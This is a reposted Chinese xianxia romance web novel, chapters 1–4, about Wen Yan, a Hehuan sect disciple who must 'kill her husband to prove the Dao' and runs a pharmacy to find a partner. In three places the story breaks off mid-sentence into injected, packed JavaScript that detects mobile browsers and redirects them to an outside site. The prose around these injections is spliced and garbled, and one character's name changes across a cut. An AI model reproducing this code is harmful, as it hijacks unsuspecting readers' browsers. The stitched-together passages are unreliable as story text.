《为魔族少主献上合欢宗魁首》 1. 第 1 章 宗门大殿西面,有一株年岁最长的合欢花树,岁岁年年,常开不败。 树下亭中,温言将手中冷茶放下,叹了口气。 她曾是合欢宗年轻一代弟子中的魁首,十日修炼至筑基大圆满,距离金丹只一步之遥,名动修仙界。 如今却修为停滞,再难寸进。 有人说她只是运气好,侥幸拜在了掌门门下;有些人说她的天资也不过如此,宗内魁首名不副实;甚至有人议论她修为停滞,其实是已经生了心魔。 …… 一开始温言还会为自己辩驳两句,如今听得多了也逐渐麻木。 白皙的手指隔着门派弟子常服轻覆在心口处,胸口规律的震颤传至指尖,在一片静默中显得格外清晰。 “心魔?” 她嗤笑一声。 温言并非对自己的情况一无所知,相反,在筑基大圆满这个阶段停留的时间越长,越是能够感受到自己的桎梏存于何处,不过一时难以突破罢了。 微风拂过,香气甜腻,花如雨落。 其中一片绯红似火的花瓣落在石桌上,一路滚至温言手边, 她指尖微动,将其弹开。 却见花瓣滞于半空,忽而下坠,碰了碰她悬于身侧的指尖,相触之处忽然浮现奇异光泽,如水波一般扭曲了整个空间。 温言心头一震,倏然抬眸。 与此同时,那片花瓣于忽然炸出一瞬明光,化为一只浮空卷轴悬于眼前。 卷轴缓缓展开,其上以一支合欢花枝为底,墨字为书。层叠的花瓣跃然纸上,似真似幻,仿佛一低头就能嗅到枝头香气。 温言的脸色却猛然白了一瞬。 【宗门任务】 这四个血色大字毫无征兆地在卷轴上方浮现,似天音低诵,嵌入她的神识。 一瞬间天地失声,脑中嗡鸣不止。 她勉力控制住骤乱的心神,再仔细去看,却发现原先的四字已如烟消散,取而代之的是另外四字。 ——杀夫证道。 温言瞳孔一缩,骤然起身,后退半步。 “杀夫……”她喃喃出声,只觉喉头发涩,“……证道?” 她不愿相信,可那四字浮动在卷轴上方,如同烧红的火焰,几乎灼伤双目。 下一刻,这四字颜色转淡,卷轴忽然变为一道虚影,瞬间没入她挂在腰间的弟子令牌之中。 红光一闪而过,踪迹全无。 但温言探出的手掌却分明能感受到由令牌上传来的温热余震。 她下意识心念一动,一道灵光自其中绽出,方才那道卷轴又徐徐浮现在眼前, 亭中光影交错,花香浮动,温言却蜷缩着指尖,感到心底发寒,浑身冰凉。 合欢宗的宗门任务,她当然知晓。 合欢宗的每一位弟子都将在修行的某一阶段触发此等命定任务,触发后将直接与弟子令牌绑定,无法逃避,无法拒绝。 成功则心境明澈,修行突飞猛进,但若失败,轻则因道心破碎而修为尽废,重则……死。 但她未曾听说过,有哪位弟子接到的宗门任务,是这种残酷又无情的天崩开局。 温言一路御风疾驰,降落在尹雪楼洞府前时,掌心还残留着卷轴绑定令牌时留下的滚烫热意。 她推门而入,尹雪楼正负手立于案前,窗外霞光斜洒,他眉目沉静,仿若早知她会来。 “师父。”她声音压得低,“我接到了宗门任务。” 尹雪楼转头,目光落在她腰间。 那块弟子令牌正散着残余红光,看起来既妖冶又危险,仿佛一只暂时蛰伏下来的凶兽,只要苏醒,必然会搅弄得天翻地覆。 “是吗?”他缓缓走来,指尖轻轻拂过令牌红光所在之处,“来得,比我想的早了些。” 温言神识一动,方才没入弟子牌中的卷轴又缓缓浮现而出。 她将卷轴呈上,咬了咬唇问道:“杀夫证道,这……真的不是搞错了?” 尹雪楼垂眸,神色平静如常,只道:“宗门任务自有天道判定,非你我所能置喙。” “但我还没有……”她一时说不出那句“没有道侣”,只低声道,“这任务太不合理。” 不,简直是完全不通情理。 “合理与否,并不重要。”尹雪楼望着她,语声轻缓,“既已触发,便只能去做。” 温言心中五味杂陈。 她想从师父脸上看出一丝动摇、或是安慰,可尹雪楼一如既往地温和淡然,温言根本看不出他的想法,更得不到自己想要的答案。 “师父可知,为何天道非要我‘杀夫证道’?” 温言面上似笑非笑,表情难看得很:“即使我根本没有夫君,也要如此吗?” 尹雪楼沉默片刻,忽而轻笑:“天命如此,不得不为。” 温言像是被这句话噎住,难以置信地倒退一步。 她双目圆睁,有些垂头丧气:“可我始终不明白,‘杀夫’与‘证道’,这两者究竟有何关系。” 尹雪楼眉目温和,声音轻缓,话音却不容辩驳:“温言,你的目标并不是杀夫,而是证道。” “但杀夫是你必须经历的劫,也是你一定要跨过的坎。” ———— 宗门任务既出,不容违抗。 但哪里才能找到道侣? 一开始温言打的是宗门的主意。 所谓近水楼台先得月,可宗门内男修并不多,加上她闲散废物的名头人尽皆知,那些男弟子们一看见她就跟看见鬼一样,将门派隐匿和逃跑的术法用得炉火纯青,转瞬间连影都没了,根本追不上。 看来这条捷径走不通啊。 温言叹气。 既然宗门弟子的主意打不上,她又将目光投向了山下。 温言从储物袋中摸出一张地图。 地图被揉得皱巴巴的,有些地方的字迹都已模糊。其中的某处用朱笔圈了一笔,刚好括住了三个字。 临溪镇。 林溪镇附近有一处苍梧秘境,金丹以下修士均可前往历练,因此这个镇子上自发形成了集市。修真者所开的店铺隐于其中,很多常用的丹药和法器都有出售,吸引了很多修士在此停留。 温言不缺金银财宝,也不缺灵石,为了找到道侣完成任务,她有的是力气和手段。 她看着手中的地图,突然灵机一动。 在临溪镇这样修士聚集的地方,自然少不了各种类型的男修。 ——与其费心去找道侣,不如坐等男修上门,再从里面挑个顺眼的做道侣。 宗门出入口向来守卫森严,出入都需要手令。 温言收拾好外出历练的物品,在山门处出示了掌门手令后,守卫弟子为她开启了护山结界。 温言袖间灵光一闪,飞出一只扇子形状的法器,展开之时其上华彩流转,光点莹莹。 她脚踩折扇,化作一道流光,穿过陡峭蜿蜒的山道,宛如离弦之箭往山下飞掠而去。 在林溪镇最热闹繁华的地段处,温言一眼就看中了一间不错的铺面。 它位于林溪镇最繁华的地段,虽说门面不大,也不算显眼,但打理方便,便于隐匿。铺子后面还送了一间大小合适的宅子,也算多个修整歇息之处。 买下这间铺面后,她让匠人简单翻新了一遍,挂上崭新的牌匾,雇了个为病人问诊抓药的药师,一两个负责跑腿打杂的小厮。然后在鞭炮红红火火的响声中,以初生牛犊不怕虎的架势把药铺开了起来。 店里除了普通药材之外,也面向修仙者售卖丹药,因为定的价格不高,所处地段又好,需求量大,靠着薄利多销赚得满盆满钵,生意格外兴隆。 苍梧秘境中的无穷宝藏吸引着无数修士前赴后继前往探秘,若不熟悉秘境环境,提前做好准备,极易沾染火毒。 这种火毒会让伤处溃烂且难以愈合,剧痛无比。若只用基础的解毒丹,不但要分 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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实则仿佛一个胸有成竹的成熟猎手,冷静地观察来到药铺中的每个客人。 守株待兔需要耐性,而她最不缺的就是耐心。 温言没有忘记自己下山的目的,所做的一切,也都是在为完成宗门任务做准备。 她想试试看,如果用这种珍贵的解毒丹作为诱饵,却又限制数量,当丹药供不应求的时候,会不会钓到几个愿意上钩的男修。 ———— 傍晚时分,晚霞漫天。 一道身影缓缓入内,那人白衣皎皎,容色清冷,仿佛冬日山间的一抹新雪。 温言放下了手中的笔,将茶水推远了些,以手托腮,目不转睛地盯着他的背影,唇角微微勾起一个很浅的弧度。 那名男修挑了几味常见的草药,交予小厮包好,留意到温言看向自己的目光后,向她的方向遥遥颔首,转身离去。 那一瞬间,温言敏锐地发现了他手腕部分残留的些许火毒燎泡,由腕间一直延伸到袖袍之内,看起来伤势颇重。 待他走后,温言把玩着一缕发丝,心思浮动。 这人看起来不错,若是能和他结为道侣,从此相敬如宾,倒也合心意。 她招了招手,唤来在药柜前忙碌的小厮:“那位公子方才挑的几种草药和丹药,你依样再包一份给我送过来。” 小厮手脚麻利,很快原样打包了一份。 其中的丹药分外眼熟,是最基础的解毒丹,虽说什么毒素都能解一点,但效果差,祛毒难以彻底。 再看到另外几味药材中的矿物时,温言有些愣怔。以药理来看,这些矿物怎么瞧都不像是能服用的。 他买这些做什么? 温言缓步走到新制的药柜前,白皙微粉的手指无视眼前环绕着复杂咒文的淡蓝色禁制,毫无阻隔地点了点其中圆滚饱满的凝霜丹。 她或许不知道答案。 但它在这里,他就会再来。 2. 第 2 章 近期苍梧秘境频频异动,其中感染火毒的修士日益增加,温言抓住这次机会,新做了批品质更好的基础解毒丹对外售卖。 因最近炼制的手艺越发精进,炼制的解毒丹效果与之前相比略有提升。虽然治疗火毒的效果远远不及凝霜丹,但专程赶来店里买药的修士仍然踏破了门槛。 店内熙熙攘攘,掌柜却难得清闲。 年轻的女子端着杯热乎乎的茶窝在椅子上,在氤氲茶香中,一会儿看向街上来来往往的人群,一会儿认真翻阅手中的厚厚书页,像是在消磨时间,又像是在等着什么人。 但即便掌柜如此疲懒,店内的一切事务仍旧开展得有条不紊,药品充足,源源不断地补充到各个药柜中。 正值午后,掐着这个点来药铺的人通常很少。 已经过去快半个月了,但温言想要等的人还是没有出现。 温言聚精会神地翻阅着手中册子,忽然听见一声很轻的脚步声。 这个声音再熟悉不过。 她极快地压下手中书册,倏然抬眼。 却见那个人的身影只在门外一闪而过,他脚步轻点,一瞬间便没了踪影。一阵嘈杂的脚步声紧随其后,大喝:“快些设阵,别再让他跑了!” 温言挑眉,双手飞快结印。 一个只有她能看见的防御罩缓缓显出,柔和地罩住这片区域,自动吸收战斗时过剩的灵力波动,避免波及路过的无辜凡人。 而后温言揣着手,斜斜地倚在门框上,将视线投向不远处。 那处已经乱成一团,各色灵光充斥在两拨人马之间,其中一人赫然是那天过来买药的男修,另一拨显然是不计代价追杀他的人。 那个男修已经被一条缠绕着黑气的铁索束缚了一只手,仿佛被限制了某种能力,无法再同先前一般施展逃脱之术。 他看情况不妙,微微仰头,竟从心口处抽出一把灵光熠熠的剑。趁着对方人多,以迅雷不及掩耳之势斩断了手上缠绕的黑色铁索。 手腕已被勒至黑紫,情况不妙。 男修却已无法顾及此处,他目光微凝,身形肃穆,一手笔直持剑,另一只手并指自下而上抹过剑身。 随着双指抹过之处,剑身陡然冒出幽蓝色的火焰,缠绕又合并,形成一只巨大的冰龙。 随着一声惊天龙吟,冰龙吐息悠长,焚起冲天火焰,正朝那些正专心结阵之人喷去。 那些人避之不及,阵法还未完成便被冲破,磅礴的灵气逆流,反噬到每个结阵之人身上,这些人当即被冲得面色如纸,内伤不轻。 那名男修虽重创了追杀他的那些修士,也因放出冰龙消耗太大,此刻鬓发湿透,满头冷汗,唇色泛白。 他杵着剑身跪在地上,却还并指诵诀,想要操控冰龙再次吐出龙息。冰龙已经缩小至一半,身体也微微透明,吐出的火焰威力再也不及先前。 谁都能看出,这名剑修此刻已是强弩之末。威力强大的火焰逐渐熄灭,在一阵悠长的龙吟后,冰龙也缩小身形回归剑身。 他怀中抱着那柄心剑,无力御风,双目紧闭着昏死过去。 一人一剑从空中直直下坠,刚好砸在了温言铺子的边角之处。 只听轰隆一声,温言眼睁睁看着自家的屋角被砸出一个窟窿。 随着一阵噼里啪啦的撞击声,瓦片砸了一地,檐上的灯笼被砸得七零八落,药柜碎裂在废墟之中,药材残料满地都是。 那个造成一切事故的始作俑者,怀里紧紧地抱着方才大显神威的心剑,正昏在地上生死不知。 温言见状冷笑一声,收回空中将一切都记录完整的留影石,而后上前几步提起了那名剑修,径直往店内方向走去。 相处久了的人都知道,这是掌柜发怒的前兆,店里的管家、郎中和小厮见到这一幕,都纷纷往后退了几步,噤若寒蝉。 方才紧追不舍的几个修士却于此时从天而降,其中两个不知死活地拦住了温言,另外一个则甩着黑色铁索,角度刁钻,目标显然是被温言提在手中的那个剑修。 温言并指为鞭,一道纯正的灵光锁住了那只散发着不祥气息的黑色链条,淡淡道: “他砸坏了我的药铺,还没赔钱。” “你们,最好不要碍事。” 那些修士一看是个小姑娘,嗤笑一声:“我倒要劝你不要乱管闲事,小心性命不保,快将手上的人交给我们。” 温言晃了晃手中昏迷不醒的剑修:“想带他走可以,替他赔钱就好。” 其中一个看起来圆胖的修士上前打圆场:“小友,不如你先出个价。” 温言伸出手指,认真道:“五千灵石。” 这可是她看中的未来道侣候选人之一,就这么被打残了。 而且这个被打残的道侣候选人还砸坏了她的铺子。 如此一算,她的损失真的很大。 其余的修士闻言脸色一滞,互相对了个眼神,刚准备一齐动手,温言的身影却早已消失在原地。 他们原地面面相觑,正迷茫之时,其中一名修士手中所执的黑色链条骤然失去控制,红光乍现。 反噬其主不说,以比之前灵巧万分的速度,如蛇般无声无息地穿梭于几人之间,黑红光芒不断闪烁其中。 不消片刻,一切已尘埃落定。 一群修士全都被阴沉沉的黑色铁索牢牢地绑在了一起,宛如一只硕大的肉色铁球。 铁球的最外面还添了道牢固的灵力锁链,锁上后行动之间与凡人无异,不但让他们无法行动,更不能吸收运行灵气,只能眼神怨毒地瞪着身前的女子。 温言甩了甩链子,唇角微勾:“都说欠债还钱天经地义。若非你们不听劝告,贸然动手,又不肯代为结账,怎会落入我之手呢?” 她一手提着哗哗作响的黑色锁链,另一只手提着仍在昏迷的剑修,步态悠然往店内走去,并在同一时间撤去了先前设下的防护罩。 街道外仍是一片热热闹闹,欣欣向荣,唯一不对劲的是那只撞坏了的檐角和散落了一地的碎瓦。 药铺内的两名小厮拿着扫帚出来麻利地打扫起来,很快又来了个匠人带着工具修修补补了一番。 不到半日,铺子已修复如初。 那些修士不顾凡人当街打斗,争抢宝物,被温言差人送到了仙盟管理司进行处罚。 ———— 李小枝醒来的时候,一眼看到窗前所立的女子背影,朦胧之间以为置身梦境。 身上的疼痛感却立刻提醒了当下不妙的处境,将他毫不留情地拉回了现实。 李小枝挣扎起身,与此同时,窗边的那个女子侧身看了过来。 一双圆而亮的眼睛,黑白分明,分外出挑。 他当即想起,这是先前买药时铺子里那个年轻的掌柜,也是她撑起的防御罩,才没有波及更多的人。 方才追杀者人数众多,还带着法宝,自己分明是生死关头,如今他却能安然无恙地躺在干净的床铺中,显然是她施以援手。 “感谢道友相救。” 他的声音有点像沾了露水的薄荷,冰冰凉凉的,与他清冷的相貌倒是很配。 因失血过多,此时脸色雪白一片,更像一捧将化未化的新雪了。 温言自上而下重新审视了一下眼前因卧床衣衫不整的男修。 肩宽腰细,相貌上佳。 单纯从外表上来看,确实符合她对道侣的要求。 但他抱着剑的样子太过护食,仙风道骨的劲儿立刻就烟消云散,再不复初遇时的惊艳。 温言神色不虞地看向他怀中。 那里是一把被抱了太久,被捂得滚热的剑。 察觉到她的视线,李小枝薄唇微抿,慢慢将剑大大方方地展示了出来。 剑身有些脏污,他没顾得上自己身上的的伤口,反而急忙从袖口处掏出一包草药,认真擦拭剑身。 这种式样的草药包温言再眼熟不过。 她皱了皱眉,向他确认: “你是剑修?” 李小枝有些骄傲地摸了摸擦拭干净的剑锋,不卑不亢地与她对视。 “如你所见,剑修李小枝。” 温言叹了口气,一直悬着的心终于死了。 剑修在修真界的名头响亮,不仅仅是因为他们战斗力强悍,能够越阶战斗,还因为剑修开辟出一种特有的道:无情道。 修炼无情道的剑修迷惑性很强,无论修炼之前性情如何,杀妻证道时出手利落,从不留情。 温言总觉得他们是一群为修炼痴迷的剑疯子。 简而言之,无情道剑修对道侣下手速度可比她利索多了,她万万不能在这种事情上冒险。 既然做不成道侣,该算的账当然要算,一笔都不能漏。 温言居高临下地看了他一眼。 “有一件事要跟你讲明。当时你和一群人斗法,力竭之时自半空落下,不但砸坏了我的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“这堆东西里面如果有你看上的尽管拿走,但那么多灵石我真的没有。” 温言从那些鸡零狗碎上扫过一眼,眸色冷淡:“你就这样对待救命恩人的吗?” 岑竹往被子里缩了缩,半晌后才仿佛下定了决定,动作轻柔,分外小心地从怀中掏出另一个储物袋。 从里面拿出了一颗足有拳头大小的宝珠。 他不好意思地摸了摸鼻子:“这是我从苍梧秘境中一并带出来的,说不定对你有些用,不知能不能抵那张账单的费用,我真的没钱了……” 李小枝越说越小声。 她接过那颗宝珠托在手心仔细查看,确定它是颗能够温养神魂的定魂珠。 比起赔偿店里的损失与药费,倒是远超所值。 温言眯起眼睛,神色看似云淡风轻,内心却早已波起云涌。 “想必这不是你唯一收获吧。” “确实还有一点其他的东西,但那是用来铸剑的,我不能给你。” 温言轻嗤了一声。 剑修一穷二白的名声还真不是白来的,有点身家也全花在剑上了,道侣对他们来说大概都抵不上一根剑穗。 温言也摸出一个白玉瓶扔给李小枝。 李小枝有些疑惑地接过瓶子,打开倒出,见到约有数十颗的凝霜丹,脸上霎时涨红了一片。 他惊疑不定地看了一眼温言:“你怎么给我这么贵重的东西,莫……莫不是看上我了吧。” 温言白了他一眼,收起手中的定魂珠。 “你这颗宝珠价值过重,这瓶药算我送你的,自此,你我之间的账一笔勾销。“ 李小枝珍而重之地收好瓶子,还没焐热,就又听见她开口: “不过我这里也就这么个小院子,既然你已经醒了,还请另找他处修养,否则要按照每日一百灵石的价格另收房费。” 听清楚每日房费的价格之后,李小枝眼睛都快掉出眼眶,差点没把黑心商人四个字明明白白地写在脸上。 温言只当看不见。 李小枝的表情忽然变得古怪起来:“你救我一命,现在还愿意放我走,就只是为了让我还债?” 温言瞥他一眼:“不然呢,路见不平,拔刀相助吗?还是说你真的打算以身相许?” 她以凝霜丹为饵,钓了将近半月的候选道侣,却只钩上来一只没用的剑修。 就算他愿意,温言也不会要剑修的。 绝不! 3. 第 3 章 本以为赶走了穷苦剑修李小枝,可以过一段清净日子。没料到刚到药铺,药师愁眉苦脸地和跑来向温言诉苦。 不为别的,还是那个剑修惹出来的事。 铺子里的药草向来都是一应俱全,可现在一大柜子的药都被那名剑修碎成了药渣,即使还有些库存,外加新订了一批药材,仍有一些珍贵草药供应不全。 温言让药师写一份所缺药草的清单,其余由她来想办法。 人迹罕至的山里生长着各种奇花异草,即使无人照料仍旧分外茂盛。此时太阳偏西,还有些时间,温言打算进山采一趟药。 她御风而行,很快便到达深山之内。 因为熟知药理,又辅以灵力,采摘药草的速度飞快,太阳落山前已将所需的草药凑了七七八八,正打算往回走,却发现不远的草丛中藏着一团颤动的的影子。 温言以为是奇珍异兽,却发现是一个气息微弱的修士。 她掌中蓄起灵气,谨慎地上前一步。 那人全身陷在茂盛的草丛之中,身上的衣服被雨水泥浆染得脏污,看不出原本的颜色;卷曲的长发仿佛缠绕的海草,凌乱地勾在肩头。 衣领外露出小半截后颈是一片脏污中唯一的亮色,看起来仿佛一只濒死的天鹅。 温言并不是善心大发之人,原本只想当作偶然路过,不多管闲事。 谁知方才趴着一动不动的人,竟不知哪里涌出来的力气,竟拖着身体拼命往她的方向爬了半步。 而后仿佛抓住救命稻草一般,死死地攥住了她的一小片裙角。 温言止步,给他施了个避尘诀。 那身颜色难辨的衣物终于恢复了原本的样子,用料讲究,色彩华贵,并非温言熟知的门派弟子服饰。 直到此刻,少年攥住温言裙角的那只手仍未松开,他用尽全力仰起头看她,仿佛在辨认她的模样。 温言心头一动,蹲下身去,与少年四目相对。两人之间的距离进一步缩短,他的模样更为清晰。 那一瞬间,温言呼吸微滞。 微卷的长发,如桃花一般微微勾起的眼角,最美的还是那双水色弥漫的眼睛,平静之下仿佛藏着漩涡,能放大心中的欲望。 仙门之人通常眉目清秀,姿态飘渺,可眼前的少年却眉眼鲜妍,美得浓墨重彩,见之难忘。 但凡看了他一眼,就会忍不住想再看一眼。 “……救我。”他祈求道。 少年的声音有些沙哑,应该是太久没有说过话了。 但倒映着温言身影的那双漂亮眼睛里满是期待,微翘的睫毛沾着些许露珠,上下一碰便落了下来。 没人能对这样的情景无动于衷。 她……也不能。 温言从心底叹了口气,认命将少年捞起,撑开飞行法器直奔药铺方向。 在进门前抽空和正在忙碌的管家打了个招呼,便风一般地冲进铺子后面的小院。 如今药铺的管家原本是在温府之中负责管事的,也是当时亲眼见到温言随仙人驾云飞走的人之一,身家清白,知根知底。 如今他年岁已高,精力不济,刚好过来帮着温言管理这间药铺。只要是温言的要求,他都完成得尽心尽责,一丝不苟。 见到大小姐又带了个少年回来,管家苍老的脸上沟壑纵横,笑意弥漫。 之前捡了一个清冷的男子,没住多久便赶走了。他正为大小姐的婚事担忧,没想到如今又往药店里捡了个少年,还是世间罕见的相貌。 大小姐踏上修仙之路后不但长大了,连眼光也变高了,懂得主动出击,是件好事! 管家放下手头的事宜,乐呵呵地随着温言来到后院。 她一手捞着人,另一只手熟练解开这座小院的禁制,不懂管家为何笑容满面地看着自己。 因禁制的存在,这座院落被防护得如同铁桶一般,庭院花草生长茂盛,桌椅床铺一尘不染。 是在林溪镇最热闹繁华的地段里,难得的闹中取静。 温言将少年放在客房的床铺上,先是分出一丝灵力,大概地检查了下他全身的伤势,随后对管家嘱咐:“他伤得太重,帮我找一些上好的药,专门治疗外伤的那种。” “内伤呢?” “他是修士,得用丹药,稍后我来配药。” 管家领命而去。 温言坐在床边,从储物袋中摸出两枚灵光内敛的灵丹,塞入他口中。 丹药入口即化,少年痛苦的神色显而易见地舒缓了一些。 待到管家外伤药物拿来后,温言亲手为他处理好伤口,仔细包扎,并未假手于他人。 管家带着一脸慈爱的微笑为她关上了门。 温言看着少年从昏迷不醒到半梦半醒,最终沉沉昏睡过去,终于忍不住伸手,隔空描摹那精致漂亮的五官。 片刻之后,却闭了闭眼睛,骤然清醒。 她看着窗外洒下的一片月色,自嘲一笑。 原来,容色惑人这等荒谬之事,是真的存在。 接下来换药时,温言都不再直视他的眼睛。 不知是天生体质异于常人,还是温言炼丹效果又有所提升,少年身体恢复得很快。 原先那套衣服破损之处太多,温言干脆给他拿了一套新的衣服,是凡人常穿的粗布衣裳。 一身简单服饰反而将他的衬得更加风姿天然。 少年名为岑竹。 但当问及身份时,他却有些无从开口,思虑再三后,才称自己来自修仙界边陲地方的一个小宗门。 温言先前四处历练,还真的听说过与之相关的传闻。 这个宗门处于仙魔两域的灰色中间地带,修炼方式鲜为人知,行事亦正亦邪。更有说那边因与魔域相距不远,与魔族私下有千丝万缕的联系。 不论传言真假,但有一点确实很奇怪。 岑竹所说的宗门距离临溪镇实在太远了,即使是修士不分昼夜地御风飞行,也得花上一月有余。 他又为何会落在距离临溪镇不远的偏僻山脚,还灵力受阻,重伤将死? 温言心存疑惑,手上不停,仍照常给岑竹的外伤处换好药,未曾多问半句。 倒是岑竹几次想要开口,却欲言又止。 只是望着温言给自己熟练换药的身影,沉默不语。 ———— 温言以凝霜丹为饵,钓了将近半月的候选道侣,却竹篮打水一场空。 如今已将凝霜丹送了一瓶出去,店里展示的三枚凝霜丹也象征意义地去了一枚。 剩下的两枚反而引出了无尽猜测,传言中几乎囊括了各种修士,唯独略过了剑修。 药铺每日仍是照常开业,钓道侣的计划仍在坚持执行。 今天温言一如既往地坐在铺子里,手中茶水温热,香气缭绕。她正昏昏欲睡,没想到门帘自外掀开,竟是一位故人。 这位故人是温言未来师娘候选者之一,名为桑纯。她修为不高,但笑容温婉,知情识趣,经常上山给温言带各种好吃的点心。 桑纯虽说是尹雪楼的红颜知己,但平日里总是更关照着温言一点,是温言喜欢的师娘类型。 这次下山竟能在临溪镇相逢,倒是让人意外。 桑纯今日一身素色罗裙,行走间翩跹如蝶,看见温言时眼眸明显亮了几分,快步向她走来。 “你怎会在此?” 她是师父的红颜知己,于温言而言是长辈,言语中自然而然地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15602850|172045||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 带上了几分关切。 “下山历练,闲来无事开了个铺子。” 温言笑眯眯地回答,又大又圆的眼睛透着些许无辜。 桑纯看在眼里,觉得可爱极了,忍不住摸了摸她的头发。 这时温言发现桑纯身边带的另一个人。 她有些疑惑地问道:“他是?” 桑纯赶紧将徒弟往前推了推:“他叫齐飞墨,我新收的徒弟,你喊他小齐就行了。” 齐飞墨冷不丁被师父点名,抬头看了温言一眼,便立刻又低下了头。 “这孩子有点怕生。”桑纯打圆场。 温言并不介意,她年纪也不大,大概和齐飞墨相仿,只不过入门时间更早些。 她拉着桑纯坐下,倒了一杯茶。 齐飞墨站在桑纯旁边,离两人隔着一段距离,神色紧绷,一言不发。 两人聊了好一会,温言终于知道桑纯找来的原委。 得知附近的苍梧秘境开启,她本来想带徒弟外出见见世面,顺便锻炼一番,没料到徒弟经验不足误闯秘境危险区域,被苍梧秘境的火毒所伤后无法治愈。 后来她才知道这种火毒比较特殊,寻常伤药无用。不少修士建议她可以去林溪镇最繁华的街上的那家医馆看看。据说里面不但有疗效不错的解毒丹,还有一种专治火毒的凝霜丹,疗效显著。 只不过掌柜脾气古怪,声称只卖有缘人。 桑纯虽将信将疑,仍是带了徒弟过来瞧瞧,没想到刚好在此遇到了温言。 她笑问:“何谓卖与有缘人?” 温言扶额:“传言不可尽信,不过关于丹药那部分是真的,我这里确实有解毒丹,也有凝霜丹。” 她夸下海口:“既然您来了,自然要什么有什么。” 桑纯欣慰地看着温言,又一把将齐飞墨拉来,训斥道:“站这么远做什么。” 齐飞墨很听桑纯的话,虽不太情愿,还是走到了温言面前。 这也是温言第一次看到桑纯的小徒弟,是个看着很高,轮廓深邃,年岁不大的男修。 温言抬头打量他的同时,他低着头,全程脸红,都不敢与温言对视。 最终,温言怕第一面就吓到桑纯的小徒弟,后退半步,让齐飞墨自己捋开袖子,解下带血的绷带,再看情况。 齐飞墨低着头依言照做。 绷带落下,线条流畅的手臂上是一道狰狞的鲜红色伤口,伤口旁是火毒产生的血泡,还在微微往外渗着血水。 光是看着就很惨烈,难怪桑纯这个做师父的那么焦急。 温言吃人嘴软,既然有了桑纯这层渊源,人情自然是要卖一个的。她非常大方地将一枚凝霜丹送了出去,分文不收。 齐飞墨接过丹药,桑纯则眼角微红,让温言以后有什么需要尽管找自己帮忙,想吃什么也尽管提。 温言确实有想吃的,当即点了一堆。 桑纯看着她熟练地报了一堆菜名,捂着嘴笑了起来。 她的小徒弟齐飞墨却在一旁红了耳朵,看似别过脸去,一声不吭,却趁着温言不注意的时候偷看了她好几眼。 这一切温言都尽收眼底。 没想到桑纯与温言告别,却将她的小徒弟齐飞墨留下了。 “小齐手上的伤还需要包扎,刚好我有些事要办,就让他在你这几天,之后我就把他接走。” 温言有点为难。 不为别的,后院本就不大,客房也只有一间,而且里面已经住着岑竹了。 她本想拒绝,却瞧见桑纯朝着她眨了眨眼睛。 原来是故意为之。 在桑纯的软磨硬泡下,温言最终答应再给客房再加一个床位,条件是不得超过三天。 4. 第 4 章 桑纯不愧是师父的红颜知己,不但长袖善舞,连拿捏人心都这样精准。 三天时间,刚好可以让两个并不熟悉的人开始有所了解,也刚好卡在温言接受的时间之内。 送走桑纯,温言重新坐回茶桌前,她抬头看了眼齐飞墨,示意他一并坐下。 齐飞墨反而比先前更加拘谨了,他坐在桌边,双手紧握,看起来仿佛一只僵硬的人偶。 店里的小厮在一个门口迎客,另一个则领命去添置新床,药师安安静静地呆在药柜处一声不吭,毫无存在感。 管家倒是捋了捋胡子,饶有兴趣地看着眼前的一幕。他瞧了瞧自家的大小姐,又看了看新来的年轻人,心里满意得不行,乐呵呵在柜台后拨着算盘珠子。 温言在心里叹了口气,面上却未显露半分,她吩咐齐飞墨:“既然需要治疗,先将凝霜丹服下吧。” 看着他服下丹药后,开始例行询问:“除了手臂上的伤口外,还有其他地方受伤了吗?” 齐飞墨有些局促地低了头:“有的。” 温言颔首:“在哪,一并给我看看。” 不料空气忽然凝滞了一瞬。 看着他烧红的耳尖,温言仿佛意识到了什么,转而改口道:“要不要先随我去后院,我带你熟悉一下客房。” 说完率先起身往药铺后面走去。 齐飞墨立刻起身,跟在她的身侧。 走到庭院之时,他忍不住偷偷抬头看了温言一眼,只一眼,便已心潮起伏,难以自抑。 这不是他们的第一次见面。 也许对温言来说是第一次,但对齐飞墨来说不是。 温言这个名字,曾经是修仙界的一个传奇,十日筑基圆满,是何等惊人的天赋。门派大比中,她作为合欢宗年轻弟子的代表前去参加,成为金丹期之下第一人。当时温言在台上,而他在台下,她是那样耀眼,令人无法直视。 不久之后,就听闻温言修为停滞不前的流言。虽不知真假,但自此一面,齐飞墨也再没见过她,更不知晓她的近况。 没想到自己受伤后因祸得福,不但见到了温言,还能如此近距离地跟在她的身旁。 温言一心带路,没注意到齐飞墨的神色变化:“先前客房内已经安排了一个人,希望你别太介意。” 齐飞墨摇了摇头:“他也受伤了吗?” 温言没想到齐飞墨竟会接自己的话,还以为他会对自己敬而远之。 不为别的,他先前太过腼腆,都不敢看自己,只默默在一旁脸红,她以为这三天齐飞墨都不一定能鼓起勇气跟自己讲一句话。 她轻声笑了一下:“是啊,他叫岑竹,受了重伤,刚好被我从山里捡了回来。前些日子他还昏迷不醒,这两日已经能起身下床了。” ———— 客房门外。 温言敲了敲门,等待了片刻后才领着齐飞墨进入。 今日碧空如洗,暖风和煦,阳光透过云层缝隙倾泻而下,在屋内洒下一地斑驳光影。 岑竹一身白色寝衣,看起来像是一片轻飘飘的树叶,仿佛随时会被吹走。 他听见外面敲门声,转头看过来。 刚好与踏入屋内的齐飞墨打了个照面。 